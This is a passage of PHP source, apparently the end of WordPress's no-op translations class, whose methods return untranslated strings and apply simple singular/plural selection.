			return false;
		}

		/**
		 * Returns a given translation entry.
		 *
		 * @since 2.8.0
		 *
		 * @param Translation_Entry $entry
		 * @return false
		 */
		public function translate_entry( &$entry ) {
			return false;
		}

		/**
		 * Translates a singular string.
		 *
		 * @since 2.8.0
		 *
		 * @param string $singular
		 * @param string $context
		 */
		public function translate( $singular, $context = null ) {
			return $singular;
		}

		/**
		 * Returns the plural form to use.
		 *
		 * @since 2.8.0
		 *
		 * @param int $count
		 * @return int
		 */
		public function select_plural_form( $count ) {
			return 1 === (int) $count ? 0 : 1;
		}

		/**
		 * Returns the plural forms count.
		 *
		 * @since 2.8.0
		 *
		 * @return int
		 */
		public function get_plural_forms_count() {
			return 2;
		}

		/**
		 * Translates a plural string.
		 *
		 * @since 2.8.0
		 *
		 * @param string $singular
		 * @param string $plural
		 * @param int    $count
		 * @param string $context
		 * @return string
		 */
		public function translate_plural( $singular, $plural, $count, $context = null ) {
			return 1 === (int) $count ? $singular : $plural;
		}

		/**
		 * Merges other translations into the current one.
		 *
		 * @since 2.8.0
		 *
		 * @param Translations $other
		 */
		public function merge_with( &$other ) {
		}
	}
endif;